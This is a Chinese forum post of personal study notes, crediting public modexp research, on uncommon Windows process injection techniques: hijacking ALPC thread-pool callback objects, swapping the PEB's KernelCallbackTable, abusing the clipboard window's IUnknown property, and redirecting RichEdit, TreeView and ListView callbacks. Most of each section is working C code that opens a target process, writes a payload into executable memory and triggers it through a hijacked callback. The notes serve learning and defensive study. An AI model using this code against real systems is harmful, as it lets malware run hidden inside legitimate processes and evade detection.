Windows不太常见的进程注入学习小记(二)
2020-08-21 12:42:05 Author: bbs.pediy.com(查看原文) 阅读量:644 收藏

目录

0x00 前前言

这个只是我学习的笔记,真正的代码实现都是网上有人已经公开了的,给了参考链接了,这不是我发现的也不是我研究的,这只是我学习的。

利用ALPC来实现进程注入

0x01前言

本地过程调用LPCLocal Procedure Call,通常也被称为轻量过程调用或者本地进程间通信是一种由Windows NT内核提供的内部进程间通信方式。通过这一方式,同一计算机上的进程可以进行轻量的通信。在Windows Vista中,ALPCAdvanced Local Procedure Call,高级本地进程通信)替代了LPC。ALPC提供了一个高速可度量的通信机制,这样便于实现需要在用户模式下高速通信的用户模式驱动程序框架(UMDF,User-Mode Driver Framework)(搜索引擎查的)。

按照 Alex Ionescu在 syscan2014上的发言,即使最简单的windows程序都会有ALPC连接。可以用ProcessExplorer查看每个进程的ALPC Port的名字。我查看得情况确实是这样的。

与ALPC的中的回调保存地址有关的结构体:TP_CALLBACK_OBJECT

typedef struct _TP_CALLBACK_OBJECT {
    ULONG                             RefCount;
    PVOID                             CleanupGroupMember;
    PTP_CLEANUP_GROUP                 CleanupGroup;
    PTP_CLEANUP_GROUP_CANCEL_CALLBACK CleanupGroupCancelCallback;
    PTP_SIMPLE_CALLBACK               FinalizationCallback;
    LIST_ENTRY                        WorkList;
    ULONG64                           Barrier;
    ULONG64                           Unknown1;
    SRWLOCK                           SharedLock;
    TP_SIMPLE_CALLBACK                Callback;
    PACTIVATION_CONTEXT               ActivationContext;
    ULONG64                           SubProcessTag;
    GUID                              ActivityId;
    BOOL                              WorkingOnBehalfTicket;
    PVOID                             RaceDll;
    PTP_POOL                          Pool;
    LIST_ENTRY                        GroupList;
    ULONG                             Flags;
    TP_SIMPLE_CALLBACK                CallerAddress;
    TP_CALLBACK_PRIORITY              CallbackPriority;
} TP_CALLBACK_OBJECT, *PTP_CALLBACK_OBJECT;

其中TP_SIMPLE_CALLBACK是保存回调函数地址的结构,第二个参数是函数参数。为:
其中TP_SIMPLE_CALLBACK是保存回调函数地址的结构,第二个参数是函数参数。为:

typedef struct _TP_SIMPLE_CALLBACK {
    PVOID                             Function;
    PVOID                             Context;
} TP_SIMPLE_CALLBACK;

根据文章内容和代码,我只能确定构造后的Context参数为TP_SIMPLE_CALLBACK本身所在的地址。

0x02 注入

  • 通过进程名拿到要注入的目标进程id,通过进程id获取进程句柄。

    pi->hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pi->pid);
        if(pi->hp==NULL) return FALSE;
    
  • 通过NtQuerySystemInformation,传0x10(SystemHandleInformation)参数获取句柄信息。

     for(len=MAX_BUFSIZ;;len+=MAX_BUFSIZ) {
          list = xmalloc(len);
          status = NtQuerySystemInformation(
              SystemHandleInformation, list, len, &total);
          // break from loop if ok    
          if(NT_SUCCESS(status)) break;
          // free list and continue
          xfree(list);   
        }
    
  • 判断循环判断句柄是否是属于要注入的目标进程的ALPC端口对象。

    • 判断句柄所属进程的pid是不是目标进程

    • 判断句柄类型是不是45...文章说不同的操作系统版本这个值不太一样,windows10是45。

    • 如果都是的话就将句柄对象拷贝至进程空间,获取对象的名字,判断不为空就将该对象名字入vector。获取ALPC端口对象的名字是为了之后与该端口进行连接操作。
    for(i=0; i<hl->NumberOfHandles; i++) {
          if(hl->Handles[i].UniqueProcessId != pi->pid) continue;
          if(hl->Handles[i].ObjectTypeIndex != 45) continue;
    
          // duplicate the handle object
          status = NtDuplicateObject(
                pi->hp, (HANDLE)hl->Handles[i].HandleValue, 
                GetCurrentProcess(), &hObj, 0, 0, 0);
    
          // continue with next entry if we failed
          if(!NT_SUCCESS(status)) continue;
    
          // try query the name
          status = NtQueryObject(hObj, 
              ObjectNameInformation, objName, 8192, NULL);
    
          // got it okay?
          if(NT_SUCCESS(status) && objName->Name.Buffer!=NULL) {
            // save to list
            pi->ports.push_back(objName->Name.Buffer);
          }
          // close handle object
          NtClose(hObj); 
        }
    
  • 搜索进程内存,找到进程中的PTP_CALLBACK_OBJECT结构体。

    • 根据该结构所属的内存的属性来搜索。
    BOOL IsValidTCO(HANDLE hProcess, PTP_CALLBACK_OBJECT tco) {
        MEMORY_BASIC_INFORMATION mbi;
        SIZE_T                   res;
    
        // if it's a callback, these values shouldn't be empty  
        if(tco->CleanupGroupMember     == NULL ||
           tco->Pool                   == NULL ||
           tco->CallerAddress.Function == NULL ||
           tco->Callback.Function      == NULL) return FALSE;
    
        // the CleanupGroupMember should reside in read-only
        // area of image
        res = VirtualQueryEx(hProcess, 
          (LPVOID)tco->CleanupGroupMember, &mbi, sizeof(mbi));
    
        if (res != sizeof(mbi)) return FALSE;
        if (!(mbi.Protect & PAGE_READONLY)) return FALSE;
        if (!(mbi.Type & MEM_IMAGE)) return FALSE;
    
        // the pool object should reside in read+write memory
        res = VirtualQueryEx(hProcess, 
          (LPVOID)tco->Pool, &mbi, sizeof(mbi));
    
        if (res != sizeof(mbi)) return FALSE;
        if (!(mbi.Protect & PAGE_READWRITE)) return FALSE;
    
        // the caller function should reside in read+executable memory
        res = VirtualQueryEx(hProcess, 
          (LPCVOID)tco->CallerAddress.Function, &mbi, sizeof(mbi));
    
        if (res != sizeof(mbi)) return FALSE;
        if (!(mbi.Protect & PAGE_EXECUTE_READ)) return FALSE;
    
        // the callback function should reside in read+executable memory
        res = VirtualQueryEx(hProcess, 
          (LPCVOID)tco->Callback.Function, &mbi, sizeof(mbi));
    
        if (res != sizeof(mbi)) return FALSE;
        return (mbi.Protect & PAGE_EXECUTE_READ);    
    }
    
    • 如果搜索到了就判断这个结构体所属模块是否是RPCRT4.dll
    bFound=IsValidTCO(pi->hp, &tco);
          if(bFound) {
            // obtain module name where callback resides
            GetMappedFileName(pi->hp, (LPVOID)tco.Callback.Function, filename, MAX_PATH);
            // filter by RPCRT4.dll
            if(StrStrI(filename, L"RPCRT4.dll")!=NULL) {
              wprintf(L"Found TCO at %p for %s\n",  addr+pos, filename);
              // try run payload using this TCO
              // if successful, end scan
              bInject = ALPC_deploy(pi, addr+pos, &tco);
              if (bInject) break;
            }
          }
    
    • 如果属于对的模块,那么就是真的找到了该结构。
      然后对这个结构进行HOOK操作。
  • 对找到的结构进行HOOK

    BOOL ALPC_deploy(process_info *pi, LPVOID ds, PTP_CALLBACK_OBJECT tco) {
        LPVOID             cs = NULL;
        BOOL               bInject = FALSE;
        TP_CALLBACK_OBJECT cpy;    // local copy of tco
        SIZE_T             wr;
        TP_SIMPLE_CALLBACK tp;
        DWORD              i;
    
        // allocate memory in remote for payload and callback parameter
        cs = VirtualAllocEx(pi->hp, NULL, 
          pi->payloadSize + sizeof(TP_SIMPLE_CALLBACK), 
          MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    
        if (cs != NULL) {
            // write payload to remote process
            WriteProcessMemory(pi->hp, cs, pi->payload, pi->payloadSize, &wr);
            // backup TCO
            CopyMemory(&cpy, tco, sizeof(TP_CALLBACK_OBJECT));
            // copy original callback address and parameter
            tp.Function = cpy.Callback.Function;
            tp.Context  = cpy.Callback.Context;
            // write callback+parameter to remote process
            WriteProcessMemory(pi->hp, (LPBYTE)cs + pi->payloadSize, &tp, sizeof(tp), &wr);
            // update original callback with address of payload and parameter
            cpy.Callback.Function = cs;
            cpy.Callback.Context  = (LPBYTE)cs + pi->payloadSize;
            // update TCO in remote process
            WriteProcessMemory(pi->hp, ds, &cpy, sizeof(cpy), &wr);
            // trigger execution of payload
            for(i=0;i<pi->ports.size(); i++) {
              ALPC_Connect(pi->ports[i]);
              // read back the TCO
              ReadProcessMemory(pi->hp, ds, &cpy, sizeof(cpy), &wr);
              // if callback pointer is the original, we succeeded.
              bInject = (cpy.Callback.Function == tco->Callback.Function);
              if(bInject) break;
            }
            // restore the original tco
            WriteProcessMemory(pi->hp, ds, tco, sizeof(cpy), &wr);
            // release memory for payload
            VirtualFreeEx(pi->hp, cs, 
              pi->payloadSize+sizeof(tp), MEM_RELEASE);
        }
        return bInject;
    }
    

0x03 参考文章

对KernelCallbackTable HOOK实现进程注入

0x01 前言

KernelCallBackTable是一个结构体,可以通过PEB来找到这个结构体的地址,当程序调用USER32.DLL时,KernelCallbackTable就会被初始化为函数数组。这个函数数组中的函数通常用于响应窗口消息,例如,_fnCOPYDATA是响应WM_COPYDATA消息而执行的。

PEB结构体中的KernelCallbackTable结构所在位置:

typedef struct _PEB
{
    BOOLEAN InheritedAddressSpace;      // These four fields cannot change unless the
    BOOLEAN ReadImageFileExecOptions;   //
    BOOLEAN BeingDebugged;              //
    BOOLEAN SpareBool;                  //
    HANDLE Mutant;                      // INITIAL_PEB structure is also updated.

    PVOID ImageBaseAddress;
    PPEB_LDR_DATA Ldr;
    PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
    PVOID SubSystemData;
    PVOID ProcessHeap;
    PVOID FastPebLock;
    PVOID FastPebLockRoutine;
    PVOID FastPebUnlockRoutine;
    ULONG EnvironmentUpdateCount;
    PVOID KernelCallbackTable;
    // ...snipped

KernelCallBackTable结构体:

typedef struct _KERNELCALLBACKTABLE_T {
    ULONG_PTR __fnCOPYDATA;
    ULONG_PTR __fnCOPYGLOBALDATA;
    ULONG_PTR __fnDWORD;
    ULONG_PTR __fnNCDESTROY;
    ULONG_PTR __fnDWORDOPTINLPMSG;
    ULONG_PTR __fnINOUTDRAG;
    ULONG_PTR __fnGETTEXTLENGTHS;
    ULONG_PTR __fnINCNTOUTSTRING;
    ULONG_PTR __fnPOUTLPINT;
    ULONG_PTR __fnINLPCOMPAREITEMSTRUCT;
    ULONG_PTR __fnINLPCREATESTRUCT;
    ULONG_PTR __fnINLPDELETEITEMSTRUCT;
    ULONG_PTR __fnINLPDRAWITEMSTRUCT;
    ULONG_PTR __fnPOPTINLPUINT;
    ULONG_PTR __fnPOPTINLPUINT2;
    ULONG_PTR __fnINLPMDICREATESTRUCT;
    ULONG_PTR __fnINOUTLPMEASUREITEMSTRUCT;
    ULONG_PTR __fnINLPWINDOWPOS;
    ULONG_PTR __fnINOUTLPPOINT5;
    ULONG_PTR __fnINOUTLPSCROLLINFO;
    ULONG_PTR __fnINOUTLPRECT;
    ULONG_PTR __fnINOUTNCCALCSIZE;
    ULONG_PTR __fnINOUTLPPOINT5_;
    ULONG_PTR __fnINPAINTCLIPBRD;
    ULONG_PTR __fnINSIZECLIPBRD;
    ULONG_PTR __fnINDESTROYCLIPBRD;
    ULONG_PTR __fnINSTRING;
    ULONG_PTR __fnINSTRINGNULL;
    ULONG_PTR __fnINDEVICECHANGE;
    ULONG_PTR __fnPOWERBROADCAST;
    ULONG_PTR __fnINLPUAHDRAWMENU;
    ULONG_PTR __fnOPTOUTLPDWORDOPTOUTLPDWORD;
    ULONG_PTR __fnOPTOUTLPDWORDOPTOUTLPDWORD_;
    ULONG_PTR __fnOUTDWORDINDWORD;
    ULONG_PTR __fnOUTLPRECT;
    ULONG_PTR __fnOUTSTRING;
    ULONG_PTR __fnPOPTINLPUINT3;
    ULONG_PTR __fnPOUTLPINT2;
    ULONG_PTR __fnSENTDDEMSG;
    ULONG_PTR __fnINOUTSTYLECHANGE;
    ULONG_PTR __fnHkINDWORD;
    ULONG_PTR __fnHkINLPCBTACTIVATESTRUCT;
    ULONG_PTR __fnHkINLPCBTCREATESTRUCT;
    ULONG_PTR __fnHkINLPDEBUGHOOKSTRUCT;
    ULONG_PTR __fnHkINLPMOUSEHOOKSTRUCTEX;
    ULONG_PTR __fnHkINLPKBDLLHOOKSTRUCT;
    ULONG_PTR __fnHkINLPMSLLHOOKSTRUCT;
    ULONG_PTR __fnHkINLPMSG;
    ULONG_PTR __fnHkINLPRECT;
    ULONG_PTR __fnHkOPTINLPEVENTMSG;
    ULONG_PTR __xxxClientCallDelegateThread;
    ULONG_PTR __ClientCallDummyCallback;
    ULONG_PTR __fnKEYBOARDCORRECTIONCALLOUT;
    ULONG_PTR __fnOUTLPCOMBOBOXINFO;
    ULONG_PTR __fnINLPCOMPAREITEMSTRUCT2;
    ULONG_PTR __xxxClientCallDevCallbackCapture;
    ULONG_PTR __xxxClientCallDitThread;
    ULONG_PTR __xxxClientEnableMMCSS;
    ULONG_PTR __xxxClientUpdateDpi;
    ULONG_PTR __xxxClientExpandStringW;
    ULONG_PTR __ClientCopyDDEIn1;
    ULONG_PTR __ClientCopyDDEIn2;
    ULONG_PTR __ClientCopyDDEOut1;
    ULONG_PTR __ClientCopyDDEOut2;
    ULONG_PTR __ClientCopyImage;
    ULONG_PTR __ClientEventCallback;
    ULONG_PTR __ClientFindMnemChar;
    ULONG_PTR __ClientFreeDDEHandle;
    ULONG_PTR __ClientFreeLibrary;
    ULONG_PTR __ClientGetCharsetInfo;
    ULONG_PTR __ClientGetDDEFlags;
    ULONG_PTR __ClientGetDDEHookData;
    ULONG_PTR __ClientGetListboxString;
    ULONG_PTR __ClientGetMessageMPH;
    ULONG_PTR __ClientLoadImage;
    ULONG_PTR __ClientLoadLibrary;
    ULONG_PTR __ClientLoadMenu;
    ULONG_PTR __ClientLoadLocalT1Fonts;
    ULONG_PTR __ClientPSMTextOut;
    ULONG_PTR __ClientLpkDrawTextEx;
    ULONG_PTR __ClientExtTextOutW;
    ULONG_PTR __ClientGetTextExtentPointW;
    ULONG_PTR __ClientCharToWchar;
    ULONG_PTR __ClientAddFontResourceW;
    ULONG_PTR __ClientThreadSetup;
    ULONG_PTR __ClientDeliverUserApc;
    ULONG_PTR __ClientNoMemoryPopup;
    ULONG_PTR __ClientMonitorEnumProc;
    ULONG_PTR __ClientCallWinEventProc;
    ULONG_PTR __ClientWaitMessageExMPH;
    ULONG_PTR __ClientWOWGetProcModule;
    ULONG_PTR __ClientWOWTask16SchedNotify;
    ULONG_PTR __ClientImmLoadLayout;
    ULONG_PTR __ClientImmProcessKey;
    ULONG_PTR __fnIMECONTROL;
    ULONG_PTR __fnINWPARAMDBCSCHAR;
    ULONG_PTR __fnGETTEXTLENGTHS2;
    ULONG_PTR __fnINLPKDRAWSWITCHWND;
    ULONG_PTR __ClientLoadStringW;
    ULONG_PTR __ClientLoadOLE;
    ULONG_PTR __ClientRegisterDragDrop;
    ULONG_PTR __ClientRevokeDragDrop;
    ULONG_PTR __fnINOUTMENUGETOBJECT;
    ULONG_PTR __ClientPrinterThunk;
    ULONG_PTR __fnOUTLPCOMBOBOXINFO2;
    ULONG_PTR __fnOUTLPSCROLLBARINFO;
    ULONG_PTR __fnINLPUAHDRAWMENU2;
    ULONG_PTR __fnINLPUAHDRAWMENUITEM;
    ULONG_PTR __fnINLPUAHDRAWMENU3;
    ULONG_PTR __fnINOUTLPUAHMEASUREMENUITEM;
    ULONG_PTR __fnINLPUAHDRAWMENU4;
    ULONG_PTR __fnOUTLPTITLEBARINFOEX;
    ULONG_PTR __fnTOUCH;
    ULONG_PTR __fnGESTURE;
    ULONG_PTR __fnPOPTINLPUINT4;
    ULONG_PTR __fnPOPTINLPUINT5;
    ULONG_PTR __xxxClientCallDefaultInputHandler;
    ULONG_PTR __fnEMPTY;
    ULONG_PTR __ClientRimDevCallback;
    ULONG_PTR __xxxClientCallMinTouchHitTestingCallback;
    ULONG_PTR __ClientCallLocalMouseHooks;
    ULONG_PTR __xxxClientBroadcastThemeChange;
    ULONG_PTR __xxxClientCallDevCallbackSimple;
    ULONG_PTR __xxxClientAllocWindowClassExtraBytes;
    ULONG_PTR __xxxClientFreeWindowClassExtraBytes;
    ULONG_PTR __fnGETWINDOWDATA;
    ULONG_PTR __fnINOUTSTYLECHANGE2;
    ULONG_PTR __fnHkINLPMOUSEHOOKSTRUCTEX2;
} KERNELCALLBACKTABLE;

0x02 注入

例子程序中HOOK的是WM_COPYDATA的响应函数fnCOPYDATA

  • 还是根据窗口名获取进程id获取进程句柄。

  • 使用NtQueryInformationProcess传入ProcessBasicInformation来获取目标进程的PEB。

    NtQueryInformationProcess(hp, 
          ProcessBasicInformation, &pbi, sizeof(pbi), NULL);
    
  • 根据偏移找到KernelCallbackTable

    ReadProcessMemory(hp, pbi.PebBaseAddress, 
          &peb, sizeof(peb), &rd);
    
    ReadProcessMemory(hp, peb.KernelCallbackTable,
          &kct, sizeof(kct), &rd);
    
  • HOOK KernelCallbackTable 中的fnCOPYDATA。

      cs = VirtualAllocEx(hp, NULL, payloadSize,MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    WriteProcessMemory(hp, cs, payload, payloadSize, &wr);
    
    // 4. Write the new table to remote process
    ds = VirtualAllocEx(hp, NULL, sizeof(kct),
        MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
    kct.__fnCOPYDATA = (ULONG_PTR)cs;
    WriteProcessMemory(hp, ds, &kct, sizeof(kct), &wr);
    
    // 5. Update the PEB
    WriteProcessMemory(hp, 
      (PBYTE)pbi.PebBaseAddress + offsetof(PEB, KernelCallbackTable),
      &ds, sizeof(ULONG_PTR), &wr);
    
  • 发消息触发HOOK

        cds.dwData = 1;
        cds.cbData = lstrlen(msg) * 2;
        cds.lpData = msg;
    
        SendMessage(hw, WM_COPYDATA, (WPARAM)hw, (LPARAM)&cds);
    
  • 恢复KernelCallbackTable

    WriteProcessMemory(hp,
          (PBYTE)pbi.PebBaseAddress + offsetof(PEB, KernelCallbackTable),
          &peb.KernelCallbackTable, sizeof(ULONG_PTR), &wr);
    

0x03 参考文章

  • https://modexp.wordpress.com/2019/05/25/windows-injection-finspy/

利用CLIPBRDWNDCLASS窗口类实现进程注入

0x01 前言

CLIPBRDWNDCLASS这个窗口类通常与剪切板相关,类中的属性中有处理剪切板数据所需的函数地址。这里主要用ClipboardDataObjectInterface的属性实现进程注入。ClipboardRootDataObjectInterface和ClipboardDataObjectInterfaceMTA这两个属性也可以利用。

当使用SetProp这个API将属性ClipboardDataObjectInterface设置为IUnknown接口的地址后向该窗口发送WM_DESTROYCLIPBOARD消息,将会调用IUnknown接口中的Release方法。

IUnknown接口结构(冒牌货):

typedef struct _IUnknown_t {
    // a pointer to virtual function table
    ULONG_PTR lpVtbl;
    // the virtual function table
    ULONG_PTR QueryInterface;
    ULONG_PTR AddRef;
    ULONG_PTR Release;       // executed for                     WM_DESTROYCLIPBOARD
} IUnknown_t;

0x02 注入

  • 根据窗口类名找到窗口句柄,找到进程pid找到进程句柄。

    hw = FindWindowEx(HWND_MESSAGE, NULL, L"CLIPBRDWNDCLASS", NULL);
    GetWindowThreadProcessId(hw, &id);
    hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, id);
    
  • 在找到的进程之中申请内存构造IUnknow接口,将接口中的release设置为写入的payload的地址 ,将虚表设置为下个四字节的地址。

    cs = VirtualAllocEx(hp, NULL, payloadSize,MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    WriteProcessMemory(hp, cs, payload, payloadSize, &wr);
    // 3. Allocate RW memory in process.
    //    Initialize and write IUnknown interface
    ds = VirtualAllocEx(hp, NULL, sizeof(IUnknown_t),MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
    iu.lpVtbl  = (ULONG_PTR)ds + sizeof(ULONG_PTR);
    iu.Release = (ULONG_PTR)cs;
    WriteProcessMemory(hp, ds, &iu, sizeof(IUnknown_t), &wr);
    
  • 设置属性值,并发送消息触发自定义的payload。

     // 4. Set the interface property and trigger execution
        SetProp(hw, L"ClipboardDataObjectInterface", ds);
        PostMessage(hw, WM_DESTROYCLIPBOARD, 0, 0);
    

0x03 参考文章

  • https://modexp.wordpress.com/2019/05/24/4066/

利用RICHEDIT控件

0x01 前言

RichEdit控件是一个可用于输入、编辑、格式化、打印和保存文本的窗口空间。该控件中有许多的回调函数用于处理不同的消息。

这一次利用的消息有:

  • EM_SETWORDBREAKPROCG
  • EM_STREAMIN
  • EM_GETOLECALLBACK
  • TVM_SORTCHILDRENCB
  • LVM_SORTITEMS

0x02 EM_SETWORDBREAKPROC

通过该消息可以设置当有键盘按键事件发生时的消息回调。

  • 找到具有RICHEDIT50W窗口类的空间,测试代码为了测试是直接通过写字板应用程序测试的。

    wpw = FindWindow(L"WordPadClass", NULL);
    
        // 2. Find the rich edit control for wordpad.
    rew = FindWindowEx(wpw, NULL, L"RICHEDIT50W", NULL);
    
  • 获取当前Wordwrap函数的地址,和写字板的进程ID,打开该进程。

    wwf = (LPVOID)SendMessage(rew, EM_GETWORDBREAKPROC, 0, 0);
    
    // 4. Obtain the process id for wordpad.
    GetWindowThreadProcessId(rew, &id);
    hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, id);
    
  • 在写字板进程中申请内存写入payload,将消息回调设置为payload的地址。

     cs = VirtualAllocEx(hp, NULL, payloadSize,
            MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    
        // 7. Write the payload to memory
        WriteProcessMemory(hp, cs, payload, payloadSize, &wr);
    
        // 8. Update the callback procedure
        SendMessage(rew, EM_SETWORDBREAKPROC, 0, (LPARAM)cs);
    
  • 模拟键盘输入操作触发payload,然后恢复窗口回调。

    ip.type           = INPUT_KEYBOARD;
        ip.ki.wVk         = 'A';
        ip.ki.wScan       = 0;
        ip.ki.dwFlags     = 0;
        ip.ki.time        = 0;
        ip.ki.dwExtraInfo = 0;
    
        SetForegroundWindow(wpw);
        SendInput(1, &ip, sizeof(ip));
        SendInput(1, &ip, sizeof(ip));
    
        // 10. Restore original Wordwrap function
        SendMessage(rew, EM_SETWORDBREAKPROC, 0, (LPARAM)wwf);
    

0x03 EM_STREAMIN

当RIchEdit控件收到EM_STREAMIN消息时候,将会使用EDITSTREAM结构将数据传入或者传出控件。

typedef struct _editstream
{
    DWORD_PTR dwCookie;     // User value passed to callback as first parameter 
    DWORD      dwError;        // Last error 
    EDITSTREAMCALLBACK pfnCallback;
} EDITSTREAM;

其中为EDITSTREAMCALLBACK类型的pfnCallback字段可以用于指向payload。当使用这个方法的时候,控件中的文本内容将会被删除。

  • 获取相应进程信息

    wpw = FindWindow(L"WordPadClass", NULL);
    rew = FindWindowEx(wpw, NULL, L"RICHEDIT50W", NULL);
    
        // 2. Obtain the process id and try to open process
    GetWindowThreadProcessId(rew, &id);
    hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, id);
    
  • 申请内存,创建EDITSTREAM对象

    // 3. Allocate RWX memory and copy the payload there.
        cs = VirtualAllocEx(hp, NULL, payloadSize,
            MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    
        WriteProcessMemory(hp, cs, payload, payloadSize, &wr);
    
        // 4. Allocate RW memory and copy the EDITSTREAM structure there.
        ds = VirtualAllocEx(hp, NULL, sizeof(EDITSTREAM),
            MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    
        es.dwCookie    = 0;
        es.dwError     = 0;
        es.pfnCallback = cs;
    
        WriteProcessMemory(hp, ds, &es, sizeof(EDITSTREAM), &wr);
    
  • 触发payload

    // 5. Trigger payload with EM_STREAMIN
        SendMessage(rew, EM_STREAMIN, SF_TEXT, (LPARAM)ds);
    

0x04 EM_GETOLECALLBACK

​ 这个其实和消息回调关系不大,EM_GETOLECALLBACK可以获取虚表执政,主要是用于HOOK RichEditOle的虚表指针,将整个虚表指针hook。以下是该控件虚表指针的虚表原型。

typedef struct _IRichEditOle_t {
    ULONG_PTR QueryInterface;
    ULONG_PTR AddRef;
    ULONG_PTR Release;
    ULONG_PTR GetClientSite;
    ULONG_PTR GetObjectCount;
    ULONG_PTR GetLinkCount;
    ULONG_PTR GetObject;
    ULONG_PTR InsertObject;
    ULONG_PTR ConvertObject;
    ULONG_PTR ActivateAs;
    ULONG_PTR SetHostNames;
    ULONG_PTR SetLinkAvailable;
    ULONG_PTR SetDvaspect;
    ULONG_PTR HandsOffStorage;
    ULONG_PTR SaveCompleted;
    ULONG_PTR InPlaceDeactivate;
    ULONG_PTR ContextSensitiveHelp;
    ULONG_PTR GetClipboardData;
    ULONG_PTR ImportDataObject;
} _IRichEditOle;
  • 老样子

    rew = FindWindow(L"WordPadClass", NULL);
        rew = FindWindowEx(rew, NULL, L"RICHEDIT50W", NULL);
    
        // 2. Obtain the process id and try to open process
        GetWindowThreadProcessId(rew, &id);
        hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, id);
    
        // 3. Allocate RWX memory and copy the payload there
        cs = VirtualAllocEx(hp, NULL, payloadSize, 
          MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    
        WriteProcessMemory(hp, cs, payload, payloadSize, &wr);
    
  • 查询接口

    // 5. Query the interface
    SendMessage(rew, EM_GETOLEINTERFACE, 0, (LPARAM)ptr);
    // 6. Read the memory address
    ReadProcessMemory(hp, ptr, &mem, sizeof(ULONG_PTR), &wr);
    
  • 读取虚表指针地址

    // 7. Read IRichEditOle.lpVtbl
        ReadProcessMemory(hp, mem, &tbl, sizeof(ULONG_PTR), &wr);
    
  • 读取虚表内容

      // 8. Read virtual function table
        ReadProcessMemory(hp, tbl, &reo, sizeof(_IRichEditOle), &wr);
    
  • 将虚表指针进行HOOK,构造虚表,将表中关于WM_COPY的回调函数修改为payload的的地址并触发消息。

    // 9. Allocate memory for copy of virtual table
        ds = VirtualAllocEx(hp, NULL, sizeof(_IRichEditOle),
          MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    
        // 10. Set the GetClipboardData method to address of payload
        reo.GetClipboardData = (ULONG_PTR)cs;
    
        // 11. Write new virtual function table to remote memory
        WriteProcessMemory(hp, ds, &reo, sizeof(_IRichEditOle), &wr);
    
        // 12. update IRichEditOle.lpVtbl
        WriteProcessMemory(hp, mem, &ds, sizeof(ULONG_PTR), &wr); 
    
        // 13. Trigger payload by invoking the GetClipboardData method
        PostMessage(rew, WM_COPY, 0, 0);
    

0x05 TVM_SORTCHILDRENCB

主要以获取treelist的句柄之后,获取treelist的第一项,构造TVSORTCB结构,对treelist第一项发送消息TVM_SORTCHILDRENCB,触发TVSORTCB结构中的payload。

typedef struct tagTVSORTCB
{
    HTREEITEM       hParent;
    PFNTVCOMPARE    lpfnCompare;
    LPARAM          lParam;
} TVSORTCB, *LPTVSORTCB;
  • 老规矩,不过这一次实验是通过注册表实现的

     wpw = FindWindow(L"RegEdit_RegEdit", NULL);
     tlv = FindWindowEx(wpw, 0, L"SysTreeView32", 0);
    
     // 2. Obtain the process id and try to open process
     GetWindowThreadProcessId(tlv, &id);
     hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, id);
    
     // 3. Allocate RWX memory and copy the payload there.
     cs = VirtualAllocEx(hp, NULL, payloadSize,
            MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    
     WriteProcessMemory(hp, cs, payload, payloadSize, &wr);
    
  • 获取treelist的根节点,构造TVSORTCB结构。发送TVM_SORTCHILDRENCB以触发结构中的payload。

    item = (LPVOID)SendMessage(tlv, TVM_GETNEXTITEM, TVGN_ROOT, 0);
    
    tvs.hParent     = item;
    tvs.lpfnCompare = cs;
    tvs.lParam      = 0;
    
    // 5. Allocate RW memory and copy the TVSORTCB structure
    ds = VirtualAllocEx(hp, NULL, sizeof(TVSORTCB),
            MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
    
    WriteProcessMemory(hp, ds, &tvs, sizeof(TVSORTCB), &wr);
    
    // 6. Trigger payload
    SendMessage(tlv, TVM_SORTCHILDRENCB, 0, (LPARAM)ds);
    

0x06 LVM_SORTITEMS

这个比较简单,直接获取treelist控件,发送消息LVM_SORTITEMS以运行payload。有个缺点就是treelist的子tree都会响应这个消息。。。想想就很恐怖。

// 1. get the window handle
    wpw = FindWindow(L"RegEdit_RegEdit", NULL);
    lvm = FindWindowEx(wpw, 0, L"SysListView32", 0);

    // 2. Obtain the process id and try to open process
    GetWindowThreadProcessId(lvm, &id);
    hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, id);

    // 3. Allocate RWX memory and copy the payload there.
    cs = VirtualAllocEx(hp, NULL, payloadSize,
        MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    WriteProcessMemory(hp, cs, payload, payloadSize, &wr);

    // 4. Trigger payload
    PostMessage(lvm, LVM_SORTITEMS, 0, (LPARAM)cs);

    // 5. Free memory and close process handle
    VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE);
    CloseHandle(hp);

0x07 参考文章

  • https://modexp.wordpress.com/2019/04/25/seven-window-injection-methods/#listplanting

[公告]SDC2020 看雪安全者开发者峰会10月23日将在上海举行!欢迎参加!


文章来源: https://bbs.pediy.com/thread-261553.htm
如有侵权请联系:admin#unsafe.sh